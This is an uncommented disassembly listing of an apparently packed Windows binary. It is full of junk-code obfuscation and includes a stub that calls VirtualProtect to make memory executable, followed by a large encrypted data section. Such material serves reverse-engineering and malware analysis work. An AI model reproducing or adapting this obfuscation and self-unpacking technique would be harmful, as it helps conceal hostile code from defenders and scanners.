		dd 1F2CD907h, 7CC9981Ah, 0F06D00C2h, 1AC38274h,	0ACA55BF7h
; ---------------------------------------------------------------------------


loc_429050:				; CODE XREF: DMN0:0042903Aj
		rol	ebx, 1
		cmc
		jmp	short loc_429065
; ---------------------------------------------------------------------------
		mul	byte ptr [esi]
		and	al, 0B8h
		mov	dl, 8Dh
		sub	edi, [ecx-6]
		sub	al, 0B0h
		sahf
		std
		adc	edi, [esi+43h]


loc_429065:				; CODE XREF: DMN0:00429053j
		not	esi
		jmp	short loc_429083
; ---------------------------------------------------------------------------
		db 3Eh,	76h, 0CEh
; ---------------------------------------------------------------------------
		push	ebp
		inc	esi
		cmp	al, 4Bh
		and	byte ptr [ebp+274819B5h], 0D9h
		jz	short loc_4290C0
		retn
; ---------------------------------------------------------------------------
		dw 94Dh
		dd 5ADEE9D3h
		db 8Fh,	0C2h, 2Dh
; ---------------------------------------------------------------------------


loc_429083:				; CODE XREF: DMN0:00429067j
		add	ebx, 0F1533F5Eh
		jmp	short loc_429098
; ---------------------------------------------------------------------------
		db 1Fh
		dd 680D090Dh, 73DDB41Dh, 29E732EDh
; ---------------------------------------------------------------------------


loc_429098:				; CODE XREF: DMN0:00429089j
		jmp	short loc_4290A0
; ---------------------------------------------------------------------------
		dw 8CCFh
; ---------------------------------------------------------------------------
		push	ebp
		inc	esi
		jge	short near ptr byte_42910D


loc_4290A0:				; CODE XREF: DMN0:loc_429098j
		bswap	ebp
		test	ebp, 6A3439A9h
		xchg	ebx, [edi]
		jmp	short loc_4290BC
; ---------------------------------------------------------------------------
		dd 86361912h, 0D468E60Eh, 28DD8897h, 0DDDCA39Ah
; ---------------------------------------------------------------------------


loc_4290BC:				; CODE XREF: DMN0:004290AAj
		inc	ebp
		cmc
		bswap	esi


loc_4290C0:				; CODE XREF: DMN0:00429077j
		jmp	short loc_4290CD
; ---------------------------------------------------------------------------
		retf	86E8h
; ---------------------------------------------------------------------------
		lodsb
		adc	eax, 5847F7F6h
		dec	ebp
		cld


loc_4290CD:				; CODE XREF: DMN0:loc_4290C0j
		jmp	short loc_4290E5
; ---------------------------------------------------------------------------
		db 0D6h
		dd 0A743D063h, 752A1378h, 0F9A8CA2Ah, 6FD0A613h, 7D290789h
		db 0D3h
; ---------------------------------------------------------------------------


loc_4290E5:				; CODE XREF: DMN0:loc_4290CDj
		xchg	esi, ebx
		jmp	short loc_4290EE
; ---------------------------------------------------------------------------
		db 5Ah,	0B8h, 1Ah
		db 44h,	2Eh
; ---------------------------------------------------------------------------


loc_4290EE:				; CODE XREF: DMN0:004290E7j
		jmp	short loc_429109
; ---------------------------------------------------------------------------
		dd 2D5F1B60h, 3B529E68h, 0A59A8ED1h, 6FCEF497h,	0C72F48A3h
		dd 0DFE5088Bh
; ---------------------------------------------------------------------------
		pusha


loc_429109:				; CODE XREF: DMN0:loc_4290EEj
		xchg	edx, edi
		jmp	short loc_42910E
; ---------------------------------------------------------------------------
byte_42910D	db 1Ah			; CODE XREF: DMN0:0042909Ej
; ---------------------------------------------------------------------------


loc_42910E:				; CODE XREF: DMN0:0042910Bj
		cmc
		mov	ecx, edi
		xchg	edx, edi


loc_429113:				; CODE XREF: DMN0:0042918Ej
		jmp	short loc_42911A
; ---------------------------------------------------------------------------
		db 97h,	0E2h, 0CEh
		db 4Dh,	0F7h
; ---------------------------------------------------------------------------


loc_42911A:				; CODE XREF: DMN0:loc_429113j
		add	ecx, eax
		jmp	short loc_429131
; ---------------------------------------------------------------------------
		cmp	al, 0B6h
		fsubr	dword ptr [esi+6Bh]
		xchg	eax, edx
		enter	0FFFF8DD8h, 3Eh
		imul	esi, [ebp+6], -66h
		sub	bl, [eax-6Dh]
		leave
		inc	edi


loc_429131:				; CODE XREF: DMN0:0042911Cj
		sbb	ebp, 0FFB16644h
		jmp	short loc_429142
; ---------------------------------------------------------------------------


loc_429139:				; CODE XREF: DMN0:0042919Ej
		scasb
		push	ebp
		sub	ch, al
		jmp	short loc_4291BB
; ---------------------------------------------------------------------------
		db 3Eh
		db 0F9h, 2Dh
; ---------------------------------------------------------------------------


loc_429142:				; CODE XREF: DMN0:00429137j
		xchg	edi, esi
		mov	[ecx], edi
		jmp	short loc_42914B
; ---------------------------------------------------------------------------
		db 8, 2	dup(49h)
; ---------------------------------------------------------------------------


loc_42914B:				; CODE XREF: DMN0:00429146j
		test	edi, 9740E56Ah
		jmp	short loc_429160
; ---------------------------------------------------------------------------
		db 49h
		dd 0B0607465h, 0DD5F4680h, 69900BC0h
; ---------------------------------------------------------------------------


loc_429160:				; CODE XREF: DMN0:00429151j
		jmp	short loc_42917F
; ---------------------------------------------------------------------------
		dw 7646h
		dd 0BD3A8F28h, 6D4E69E3h, 5E15BE0Dh, 0E2D58BF8h, 8C829F49h
		dd 4B310292h
		db 0A0h, 26h, 6Bh
; ---------------------------------------------------------------------------


loc_42917F:				; CODE XREF: DMN0:loc_429160j
		stc
		jmp	short loc_429187
; ---------------------------------------------------------------------------
		dw 3BA4h
		db 48h,	35h, 0DEh
; ---------------------------------------------------------------------------


loc_429187:				; CODE XREF: DMN0:00429180j
		bswap	ecx
		jmp	short loc_4291A7
; ---------------------------------------------------------------------------
		cld
		cmp	eax, [ebx]
		jnp	short loc_429113
		mov	esp, 1EBC4394h
		ror	dword ptr [esi+35FB0074h], cl
		rcr	dword ptr [ebp+3Bh], cl
		jbe	short loc_429139
		rcr	byte ptr [ebx],	9
		or	byte ptr [esi+62h], 0DCh


loc_4291A7:				; CODE XREF: DMN0:00429189j
		jmp	short loc_4291B0
; ---------------------------------------------------------------------------
		db 77h,	34h, 71h
		dd 19915518h
; ---------------------------------------------------------------------------


loc_4291B0:				; CODE XREF: DMN0:loc_4291A7j
		jmp	short loc_4291C1
; ---------------------------------------------------------------------------
		dw 1D1Fh
; ---------------------------------------------------------------------------
		shr	dword ptr [esi+ecx*4+25A80A0Bh], 1


loc_4291BB:				; CODE XREF: DMN0:0042913Dj
		lahf
		sub	eax, 0DE6F9985h


loc_4291C1:				; CODE XREF: DMN0:loc_4291B0j
		xor	edi, 4813B58Ch
		jmp	short $+2
		clc
		jmp	short loc_4291E1
; ---------------------------------------------------------------------------
		dd 85C24D7Fh, 1CF8655h,	1FF7D646h, 53A3A26Dh, 0DB86E0E8h
		db 0A1h
; ---------------------------------------------------------------------------


loc_4291E1:				; CODE XREF: DMN0:004291CAj
		jmp	short loc_4291E9
; ---------------------------------------------------------------------------
		db 0EFh
; ---------------------------------------------------------------------------
		les	edx, [edx+ebp*8]
		cmp	dh, al


loc_4291E9:				; CODE XREF: DMN0:loc_4291E1j
		add	edx, 2
		jmp	short loc_42920D
; ---------------------------------------------------------------------------
		dw 3FCEh
		dd 94E197F2h, 1D34B774h, 0FD824517h, 63297EC0h,	8D7CBAC8h
		dd 71F38CB0h, 0D52CB1D7h
		db 29h
; ---------------------------------------------------------------------------


loc_42920D:				; CODE XREF: DMN0:004291ECj
		jmp	short loc_42921A
; ---------------------------------------------------------------------------
		db 0D2h
		dd 0CA860036h, 0A7FA38DAh
		db 55h,	25h
; ---------------------------------------------------------------------------


loc_42921A:				; CODE XREF: DMN0:loc_42920Dj
		xchg	ebx, edi
		jmp	short loc_429231
; ---------------------------------------------------------------------------
		dw 343Fh
		dd 9AEA31BAh, 37A11876h, 8B2B0572h, 0C22FF038h
; ---------------------------------------------------------------------------
		inc	eax


loc_429231:				; CODE XREF: DMN0:0042921Cj
		jmp	short loc_42923F
; ---------------------------------------------------------------------------
		sal	dword ptr [edi+79h], 0AAh
		mov	esi, 0E2985E1Bh
		pop	edi
		sbb	edi, esi


loc_42923F:				; CODE XREF: DMN0:loc_429231j
		std
		jmp	short loc_429259
; ---------------------------------------------------------------------------
		daa
		cmp	dword ptr [edx], 5
		mov	bl, 0B4h
		mov	esi, 2A72B322h
		or	bh, ch
		xor	dh, bh
		db	36h
		cli
		lds	ebx, [ebp-362B618Fh]


loc_429259:				; CODE XREF: DMN0:00429240j
		inc	edx
		jmp	short loc_42926B
; ---------------------------------------------------------------------------
		sub	ch, dl
		cmp	[eax], bh
		pop	ds
		fdiv	dword ptr [edx]
		retf
; ---------------------------------------------------------------------------
		dd 1162E48Eh
		db 55h,	16h, 18h
; ---------------------------------------------------------------------------


loc_42926B:				; CODE XREF: DMN0:0042925Aj
		xchg	esp, ebx
		jmp	short loc_429280
; ---------------------------------------------------------------------------
		db 0D5h
		dd 7C15D43Ch, 0E633DD20h, 9B69C536h, 36E7D48Ah
; ---------------------------------------------------------------------------


loc_429280:				; CODE XREF: DMN0:0042926Dj
		jmp	short loc_429283
; ---------------------------------------------------------------------------
		db 0B9h
; ---------------------------------------------------------------------------


loc_429283:				; CODE XREF: DMN0:loc_429280j
		jmp	short loc_42929B
; ---------------------------------------------------------------------------
		db 0Ah,	4Ah, 67h
		dd 9C0240F6h, 4A7FCFC1h, 743F2C4Ch, 466F8070h
		db 6, 67h, 0D5h
; ---------------------------------------------------------------------------


loc_42929B:				; CODE XREF: DMN0:loc_429283j
		jmp	short loc_4292AE
; ---------------------------------------------------------------------------
		db 3Dh,	51h, 0B3h
		dd 8CB18DEEh, 2944E809h, 9584EB81h
		db 0Eh,	1Ah
; ---------------------------------------------------------------------------


loc_4292AE:				; CODE XREF: DMN0:loc_42929Bj
		std
		xchg	edx, ebx
		jmp	short loc_4292BB
; ---------------------------------------------------------------------------
		db 0EFh
		dd 7EAA57DEh
; ---------------------------------------------------------------------------
		test	al, 0B9h
		clc


loc_4292BB:				; CODE XREF: DMN0:004292B1j
		test	ebp, 36B99957h
		jmp	short loc_4292C5
; ---------------------------------------------------------------------------
		jnz	short loc_4292D8


loc_4292C5:				; CODE XREF: DMN0:004292C1j
		jmp	short loc_4292D0
; ---------------------------------------------------------------------------
		db 0A5h
		dd 6DA05BDCh, 5B8B9A70h
; ---------------------------------------------------------------------------


loc_4292D0:				; CODE XREF: DMN0:loc_4292C5j
		inc	ebx
		jmp	short loc_4292E6
; ---------------------------------------------------------------------------
		db 0E3h
		dd 9CEC08A0h
; ---------------------------------------------------------------------------


loc_4292D8:				; CODE XREF: DMN0:004292C3j
		scasb
		push	66865D24h
		bswap	ebp
		scasd
		out	0A8h, al	; Interrupt Controller #2, 8259A
		sub	bl, [edx]
		aaa


loc_4292E6:				; CODE XREF: DMN0:004292D1j
		cmc
		xchg	esp, esi
		jmp	short loc_429300
; ---------------------------------------------------------------------------
		db 56h
		dd 0E2281677h, 6D833BFAh, 90B53495h, 70DDD99Dh,	0A2FE002Dh
; ---------------------------------------------------------------------------


loc_429300:				; CODE XREF: DMN0:004292E9j
		jmp	short loc_42930E
; ---------------------------------------------------------------------------
		dw 0E99Dh
		dd 0A949F2ACh, 0A81EE0BDh
		db 81h,	0A2h
; ---------------------------------------------------------------------------


loc_42930E:				; CODE XREF: DMN0:loc_429300j
		jmp	short loc_429327
; ---------------------------------------------------------------------------
		dd 7F702580h, 8548FB51h, 69B8147Ah, 339F5DFFh, 6D46743Eh
		db 2Dh,	7Eh, 2Ch
; ---------------------------------------------------------------------------


loc_429327:				; CODE XREF: DMN0:loc_42930Ej
		sub	edx, 1
		jz	short loc_429397
		jmp	short loc_429343
; ---------------------------------------------------------------------------
		dw 5CC7h
		dd 2FE216D2h, 78C7C2Eh,	48F586BFh, 4FB80FA9h
		db 50h,	2Eh, 0C7h
; ---------------------------------------------------------------------------


loc_429343:				; CODE XREF: DMN0:0042932Cj
		jmp	short loc_429348
; ---------------------------------------------------------------------------
		db 0AEh, 0C0h, 19h
; ---------------------------------------------------------------------------


loc_429348:				; CODE XREF: DMN0:loc_429343j
		xchg	edi, ebx
		cld
		jmp	short loc_429368
; ---------------------------------------------------------------------------
		mov	esi, 128B2E8Eh
		push	ebx
		icebp
		dec	esp
		xor	esi, edx
		pop	ds
		rol	dh, 1
		retf
; ---------------------------------------------------------------------------
		db 2Ch
		dd 53E8804Eh, 448DBBC9h, 6D48B9E4h
; ---------------------------------------------------------------------------


loc_429368:				; CODE XREF: DMN0:0042934Bj
		jmp	short $+2
		xchg	ecx, edx
		stc
		jmp	short $+2
		std
		stc
		dec	edx
		jmp	short loc_42938B
; ---------------------------------------------------------------------------
		dd 417AB35Eh, 9F830251h, 9BEB96F4h, 752C4DAh, 9F1238EAh
		db 0E7h, 1Bh, 0F9h
; ---------------------------------------------------------------------------


loc_42938B:				; CODE XREF: DMN0:00429372j
		not	esi
		bswap	esi
		cld
		xchg	ebp, esp
		jmp	loc_428DE3
; ---------------------------------------------------------------------------


loc_429397:				; CODE XREF: DMN0:0042932Aj
		xchg	ebp, eax
		jmp	short loc_42939C
; ---------------------------------------------------------------------------
		db 10h
; ---------------------------------------------------------------------------


loc_42939C:				; CODE XREF: DMN0:00429399j
		jmp	short loc_4293A9
; ---------------------------------------------------------------------------
		dw 0B5CDh
; ---------------------------------------------------------------------------
		scasb
		retn
; ---------------------------------------------------------------------------
		stc
		std
		pop	edx
		retf	272Eh
; ---------------------------------------------------------------------------
		db 0CAh
; ---------------------------------------------------------------------------


loc_4293A9:				; CODE XREF: DMN0:loc_42939Cj
		jmp	short $+2
		bswap	eax
		jmp	short loc_4293C4
; ---------------------------------------------------------------------------
		db 40h
		dd 0E636B758h, 678C438Dh, 781DD269h, 55BE452Dh,	9DC8413Bh
; ---------------------------------------------------------------------------


loc_4293C4:				; CODE XREF: DMN0:004293ADj
		jmp	short loc_4293E0
; ---------------------------------------------------------------------------
		dw 812Eh
		dd 2C461FDCh, 7B7BB76Ah, 8A66944h, 703CE21h, 0FD3839A0h
		dd 15787FA0h
; ---------------------------------------------------------------------------


loc_4293E0:				; CODE XREF: DMN0:loc_4293C4j
		jmp	short loc_4293E3
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_4293E3:				; CODE XREF: DMN0:loc_4293E0j
		std
		jmp	short loc_4293FA
; ---------------------------------------------------------------------------
		and	al, 0D9h
		cmp	[edx+60A350A2h], eax
		dec	eax
		retf	585Ah
; ---------------------------------------------------------------------------
		dw 8DD5h
		dd 28EA5DCFh
		db 0F7h, 4Fh
; ---------------------------------------------------------------------------


loc_4293FA:				; CODE XREF: DMN0:004293E4j
		jmp	short loc_429408
; ---------------------------------------------------------------------------
		dd 0D8718E8Eh, 0BFD0DAAh, 54353AA8h
; ---------------------------------------------------------------------------


loc_429408:				; CODE XREF: DMN0:loc_4293FAj
		std
		jmp	short loc_429413
; ---------------------------------------------------------------------------
		db 0E2h
		dd 5B47FC76h
		db 6Dh,	0A9h, 82h
; ---------------------------------------------------------------------------


loc_429413:				; CODE XREF: DMN0:00429409j
		jmp	short loc_429423
; ---------------------------------------------------------------------------
		db 0A9h, 96h, 8Ah
		dd 4623B2D2h, 0F84CA752h
		db 44h,	0EFh, 69h
; ---------------------------------------------------------------------------


loc_429423:				; CODE XREF: DMN0:loc_429413j
		jmp	short loc_42943B
; ---------------------------------------------------------------------------
		db 0DEh, 24h, 0A5h
		dd 0D200088Fh, 79AADB53h, 864DBF27h, 0F2FECF57h
		db 2Fh,	0C2h, 72h
; ---------------------------------------------------------------------------


loc_42943B:				; CODE XREF: DMN0:loc_429423j
		pop	edi
		jmp	short loc_429444
; ---------------------------------------------------------------------------
		dw 3D6Eh
		dd 6AACA79Bh
; ---------------------------------------------------------------------------


loc_429444:				; CODE XREF: DMN0:0042943Cj
		not	edi
		std
		jmp	short loc_429459
; ---------------------------------------------------------------------------
		db 0A1h, 0E6h, 3Eh
		dd 25696594h, 9A0F742Ah, 86EEB4CDh
		db 0CCh
; ---------------------------------------------------------------------------


loc_429459:				; CODE XREF: DMN0:00429447j
		jmp	short loc_42946E
; ---------------------------------------------------------------------------
		db 0Dh
		dd 87996C42h, 75661889h, 870C5550h, 18E0E74Fh
		db 1, 75h
; ---------------------------------------------------------------------------


loc_42946E:				; CODE XREF: DMN0:loc_429459j
		jmp	short loc_42948B
; ---------------------------------------------------------------------------
		dd 952C2F85h, 0A37E4B40h, 4031B81Fh, 639273EAh,	9DC24203h
		dd 2738DD33h
		db 0B8h, 8Ch, 94h
; ---------------------------------------------------------------------------


loc_42948B:				; CODE XREF: DMN0:loc_42946Ej
		jmp	short loc_4294AB
; ---------------------------------------------------------------------------
		db 0CEh, 42h, 60h
		dd 0CCC74736h, 1FB8DB8Fh, 212E4298h, 0E239732Ch, 3DDF56E3h
		dd 0D06A91FDh
		db 0F0h, 90h
		db 0B5h
; ---------------------------------------------------------------------------


loc_4294AB:				; CODE XREF: DMN0:loc_42948Bj
		bswap	esi
		jmp	short loc_4294C6
; ---------------------------------------------------------------------------
		scasb
		retf	0FAD7h
; ---------------------------------------------------------------------------
		mov	ebx, 2E7D4F20h
		inc	edx
		rsqrtps	xmm5, oword ptr	[ecx-5Ah]
		pop	ebx
		inc	esp
		mov	ds:97C9EE40h, al
		adc	ah, [edi]


loc_4294C6:				; CODE XREF: DMN0:004294ADj
		jmp	short loc_4294C9
; ---------------------------------------------------------------------------
		db 25h
; ---------------------------------------------------------------------------


loc_4294C9:				; CODE XREF: DMN0:loc_4294C6j
		jmp	short loc_4294E6
; ---------------------------------------------------------------------------
		db 0FEh
		dd 0F558A039h, 49BBF9EAh, 46E19666h, 0D3E4EBD8h, 0FE7658F0h
		dd 0C9335FEBh
; ---------------------------------------------------------------------------
		xchg	eax, esp
		cli


loc_4294E6:				; CODE XREF: DMN0:loc_4294C9j
		jmp	short loc_4294E9
; ---------------------------------------------------------------------------
		db 8Eh
; ---------------------------------------------------------------------------


loc_4294E9:				; CODE XREF: DMN0:loc_4294E6j
		jmp	short loc_429505
; ---------------------------------------------------------------------------
		db 0F4h
; ---------------------------------------------------------------------------
		scasd
		sbb	bh, [esi]
		push	edi
		xchg	eax, edx
		push	ss
		mov	esi, ebp
		icebp
		pop	edx
		retf	960Bh
; ---------------------------------------------------------------------------
		db 1Ah,	0Fh, 0F2h
		dd 65FE2792h, 0E462F992h
		db 0A8h
; ---------------------------------------------------------------------------


loc_429505:				; CODE XREF: DMN0:loc_4294E9j
		std
		jmp	loc_4286EE

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42950B	proc near		; CODE XREF: DMN0:00429575p

var_24		= dword	ptr -24h
var_18		= byte ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	edx, 31333936h
		xor	edx, 6AAD93DBh
		mov	eax, 10000000h
		add	edx, eax
		add	esp, 10h
		mov	ebp, [esp-10h+arg_4]
		push	edx
		pusha
		push	0
		lea	edx, [esp+18h+var_18]
		push	edx
		push	40h
		push	150B3h
		add	[esp+24h+var_24], 1000h
		push	eax
		add	eax, 1000h
		add	eax, 46023h
		call	dword ptr [eax]
		add	esp, 4
		popa
		retn
sub_42950B	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	ecx, 8000h
		mov	edx, 6F49755Ah
		mov	eax, 3F0F5031h


loc_429565:				; CODE XREF: DMN0:00429572j
		add	eax, 276D6A46h
		xor	edx, eax
		add	dx, ax
		rol	edx, 7
		loop	loc_429565
		push	eax
		call	sub_42950B
		leave
		retn
; ---------------------------------------------------------------------------
		dd 37h dup(0)
		dd 78450001h, 72507469h, 7365636Fh, 10073h, 74726956h
		dd 506C6175h, 65746F72h, 7463h,	0E000470h, 470h, 6B000000h
		dd 656E7265h, 2E32336Ch, 6C6C64h, 2 dup(0)
		dd 0FFFFFFFFh, 4702Bh, 4701Fh, 5 dup(0)
		dd 46000h, 10h,	30C6h, 5E4Fh dup(0)
DMN0		ends

; Section 2. (virtual address 00041000)
; Virtual size			: 0002C7B2 ( 182194.)
; Section size in file		: 0002C7B2 ( 182194.)
; Offset to raw	data for section: 00041000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
DMN1		segment	para public 'CODE' use32
		assume cs:DMN1
		;org 441000h
		assume es:nothing, ss:nothing, ds:DMN0,	fs:nothing, gs:nothing
		dd 0AED3BBDBh, 533257Bh, 8548BA23h, 71F6569h, 7FD2CE2Fh
		dd 5A321F65h, 0FD8876DFh, 3BA2CA25h, 42F58B31h,	0F8BAAA7Dh
		dd 0A6E48317h, 9BEB4A4Eh, 0BF09B01Ch, 0CF642FA2h, 91BE571Ch
		dd 99F48533h, 0A3084848h, 4B702061h, 50A98C83h,	3CBB7053h
		dd 676E8AEh, 1E0D6360h,	0E8E5A4D6h, 8848A542h, 0DAB0141Ch
		dd 0EB839CC9h, 8C64390Ch, 0CF08DD92h, 8FAC066Bh, 2D47B293h
		dd 0F68EC5BFh, 0EBC73BC4h, 8A61ECB5h, 8F9FB56Dh, 29364F88h
		dd 7072A701h, 7F3879D5h, 9199311h, 8CD1052h, 7E80161Ah
		dd 0DF2E5AB2h, 0CF0A1042h, 0D8DCFAB3h, 0ECCC2EC8h, 0F1F9DC89h
		dd 9B52526Ch, 74DB0760h, 0D68DC89h, 0EEEEEA44h,	7EE1DBCh
		dd 0EEF4008h, 3C70CE56h, 5A5FC08Fh, 1542559Eh, 0F00C2D45h
		dd 13F08B0h, 5F23F5D1h,	76F65B31h, 0C8C58DEAh, 0C4B485Dh
		dd 3FF92132h, 0FA6DEEBh, 0A0ED0EE6h, 28DF54ADh,	216F4E65h
		dd 0B48575F4h, 53DFFADFh, 31FF0F2Bh, 9F08AD6Bh,	0DDBC91BBh
		dd 65895B87h, 0D3A497A4h, 7328FF40h, 0FB42F80h,	0FAF9789Ah
		dd 770F0CCFh, 1E4D0F8Fh, 0CD6DE4A6h, 5ADD0FAAh,	5B00242Eh
		dd 967C06DBh, 0AF4BD2CBh, 0CAF2168h, 7ECB8453h,	6FEFFDCFh
		dd 84097FDEh, 0C211DB79h, 9D2877F5h, 228F8DADh,	0AE09BBEBh
		dd 9943E8DFh, 0F1726B66h, 0B4176A8Ah, 3ED2A8C6h, 0B6FDBDB0h
		dd 3E4D87E5h, 0F47CB840h, 1B7E6DD7h, 2F0FBDDBh,	50BA3E13h
		dd 0B1884C6Fh, 0C1DDC3A2h, 0B332DCA7h, 0FF2798B7h, 84ECF2CEh
		dd 0EF6B093Fh, 823FA586h, 0C22D3E7Fh, 1595C558h, 0EC52A3ECh
		dd 95AD941Bh, 0AAE84863h, 0ACBAF5B4h, 8DB03679h, 0D559EB24h
		dd 0DD37C93Eh, 590D31A3h, 609B8104h, 0B3FA4A33h, 0CBE6AEEAh
		dd 890D8FE4h, 9840DF39h, 0A39F0DA6h, 0B46C201Eh, 0EEC05264h
		dd 4CA1D906h, 0C5AC6CDCh, 5334274Eh, 9BE0619h, 6B5B45A6h
		dd 4A35F132h, 0AE1874D9h, 51621ECBh, 7795ECFEh,	12FB5B68h
		dd 0DB902412h, 63D220AAh, 0D4A76F51h, 0C7DAEC92h, 0BBBD1DEAh
		dd 32027905h, 0BE27D595h, 277AE235h, 0ECF628A1h, 6CFB3539h
		dd 0FDD21274h, 0C26811CAh, 0BFAEE4D0h, 80479BFDh, 6DA4840Ah
		dd 6CC4DE0Fh, 374B0E21h, 1641B6A0h, 548B5AEFh, 0E6AA5D87h
		dd 0C62DE71Fh, 355722D7h, 22D0DC88h, 2333CDFEh,	7EC5DFAEh
		dd 0E01A62E4h, 0B270406Ah, 0B8C4738Fh, 0C478A919h, 88CB89F9h
		dd 3F66400Bh, 9C4499A6h, 90D2E0F6h, 7C0D3A49h, 240A39FFh
		dd 54DF78C5h, 312FEA9Ah, 768760Dh, 0C9880464h, 0D1490010h
		dd 3A0617C3h, 55C02F96h, 6F028952h, 14C85C8Eh, 81DE42FBh
		dd 0D4893A51h, 8A01AF9h, 0EA3FC59h, 3ED48E7Ah, 9C1CCD47h
		dd 532ADEFAh, 0C156D3A4h, 9459ADC4h, 7099D551h,	0ED360194h
		dd 921698AEh, 23FFA28Eh, 0DA1A6F6Dh, 0F47DC11Bh, 75241ABFh
		dd 12537F52h, 41563DFAh, 0F01F6CC1h, 35051B22h,	72924832h
		dd 796FD455h, 0B32CECA4h, 487F6829h, 3B5CDDAEh,	9DC350B7h
		dd 2DD867BEh, 4443FB38h, 62B0AC8Bh, 0D9D18Fh, 771A8957h
		dd 0E0840540h, 0CB3D449Bh, 700A6Eh, 4E787C7Eh, 5B6ED6EAh
		dd 0B840412Ah, 8CC38D85h, 3545E92Dh, 0CE53AACFh, 6AB0DA1Dh
		dd 5824F489h, 18C84B67h, 0A9F7A2C1h, 69C8FAFCh,	2706323h
		dd 0CE8C9203h, 69FCB9B0h, 0D0191E9Ch, 8598EA1Dh, 31D7091Bh
		dd 0B73D9E67h, 0A7865A61h, 3B96FF71h, 28BE7DB0h, 0E3560EA7h
		dd 396274A3h, 0E6549A63h, 0B6DFCAC4h, 0C48BB0D4h, 0F7160ED3h
		dd 31A2F3EEh, 97495489h, 0EF1F93B6h, 0DFE5710Dh, 0DBB69CAh
		dd 83BD4719h, 5827D60Ch, 490512ACh, 5C7A2D51h, 9C1DC10h
		dd 3256A21Ch, 18B27D90h, 2D21586h, 7CF5CA5Fh, 500A9549h
		dd 0E4F6908Fh, 93EBCC90h, 2B8F0AA4h, 0E0A8D6Bh,	0D9638E0h
		dd 6EAFF004h, 0A671E504h, 412267E2h, 0A30345AAh, 0C104E921h
		dd 155035C8h, 0A38CAF83h, 6CAE012Ah, 0EDCC39F0h, 434DC6F7h
		dd 0CA72BF7Fh, 0CBAB191Fh, 9F7900B9h, 6251876Fh, 0CF8BF8ECh
		dd 8B87AEBDh, 4308B414h, 4410FB84h, 0F6429BDCh,	0CB15A960h
		dd 0F028EEFCh, 0BC773DDh, 99CBBC3Dh, 0ED48862Bh, 7E851F88h
		dd 7F048F34h, 26BB5633h, 0CE01C5F8h, 6A3E4D2Bh,	0A4942595h
		dd 4A35B440h, 0B1505ADh, 0AC1C1974h, 0A1B94228h, 0E2C07ADEh
		dd 6FCBAA7Bh, 0AC20602Bh, 5DAF995h, 0D7B32E02h,	0D6E8F01Eh
		dd 1F8B352Dh, 34BA7563h, 0F71CE471h, 4AB555E6h,	618DAA11h
		dd 0EFC6E3E2h, 373BA8B1h, 6B47DC68h, 4C705E8Ah,	4B224D21h
		dd 0B62B1658h, 35546516h, 752DB754h, 0FA81AC6h,	6DDF54FCh
		dd 1F220AAEh, 9EDF3686h, 1DE9A165h, 2986963Dh, 0B8C4AB31h
		dd 0AE894C62h, 5C3B215Ah, 0A6B8B180h, 50366C88h, 1EF6823Bh
		dd 66092471h, 55748A2h,	0F575C435h, 0AC6E46D8h,	0BA0234Dh
		dd 98C4ED6Ch, 0A995F2ABh, 8BF52BCFh, 19AD94FEh,	2E86A355h
		dd 46CF6613h, 0EC1E979Eh, 3D9DE784h, 0D426A40Ch, 0B9E7896Bh
		dd 1E110F7Fh, 5AFA4239h, 4F5A8CD7h, 0C0AB3EC7h,	57B25139h
		dd 287ED094h, 0FC85E4FBh, 10EF4CDEh, 0F08EB1CDh, 61E66F1h
		dd 0F2EF5D8Fh, 0B655713Fh, 0E34ACE28h, 35D26015h, 7B76BFF0h
		dd 81608012h, 9D3E8BECh, 3C12BDD9h, 0F39DC5h, 0A51DE0A2h
		dd 0F43392FCh, 0C0564443h, 93DD4AE1h, 26B2875Dh, 8CCE1DF1h
		dd 0E792B1EBh, 20CFC758h, 3058A1E2h, 3BDB3E9Eh,	6E66F013h
		dd 491A9CCBh, 8D67CD7Dh, 0A73F9080h, 22193FD2h,	0F8AFB774h
		dd 78036C63h, 0D4673DF0h, 871A2F87h, 12B20D7Eh,	6895448Ah
		dd 0E4C5D9D2h, 4281A614h, 9AEEB486h, 74AB8B71h,	2E6B6B4Dh
		dd 82FEC4A3h, 45C8CD2h,	66174673h, 0F3FD3CE0h, 0EF571DB8h
		dd 56FF75F3h, 131B1B3Dh, 44A78E78h, 0D20A059Fh,	0A7C88B6Bh
		dd 0E772F13Ch, 0D8DDE739h, 185F90BEh, 4AE0C345h, 9084217Eh
		dd 2EE2ECDh, 92D97C9Bh,	8A048562h, 6362FD50h, 467D0B9Ch
		dd 2AA4E50Ch, 0E7C5DD6Eh, 0C42EA74Ah, 713FAE9Eh, 0D724D084h
		dd 8B1972BBh, 61945574h, 0FCD77B7Ch, 62CD174Bh,	3E3636E7h
		dd 545E73ABh, 0DFFD2656h, 1F54B03Fh, 75F8E8FFh,	688E232Dh
		dd 653642EEh, 0BB94C1F2h, 6FF8981Eh, 36C84118h,	55050511h
		dd 0E9490FCCh, 0DC90C563h, 44C05CB8h, 0AF03235Dh, 19F27A40h
		dd 4617CFE1h, 9049D691h, 0B5DF2B34h, 6D6C370h, 196DA352h
		dd 6494F924h, 0DFE978F9h, 0DC947727h, 0ACFAC66Dh, 703D5621h
		dd 84CC77BDh, 26FDE30Eh, 538B17A6h, 6A0E6853h, 0F55D10B5h
		dd 400451A0h, 65566F77h, 0B26E3274h, 7C5F1F52h,	0CCD3EA4Eh
		dd 0F08B2039h, 0CAE5BA6Ah, 358F818Ah, 32E337B6h, 5DF5CEDFh
		dd 0C441549Ah, 879F6485h, 21569A72h, 0D8F00E04h, 33DD8FB4h
		dd 0CFD44ACh, 1B73E3B2h, 0FD693AE2h, 0BDD7E3A8h, 0BE69C6BFh
		dd 0FC956EFFh, 0ED3B3771h, 0E79DF155h, 76081213h, 80B62538h
		dd 0E2077437h, 115C3B2Ah, 9FD05F4h, 0BA8701B0h,	0FA55FF1Eh
		dd 645A5D91h, 0AE26490Fh, 0E8868F3h, 0ECF2E717h, 2D775713h
		dd 0E3119608h, 1DE37CBFh, 0E758DF44h, 0AC244B98h, 0D5DC2934h
		dd 2D5DD7B8h, 21FD7A0h,	0C08D5554h, 0FFCF4C66h,	83CF0232h
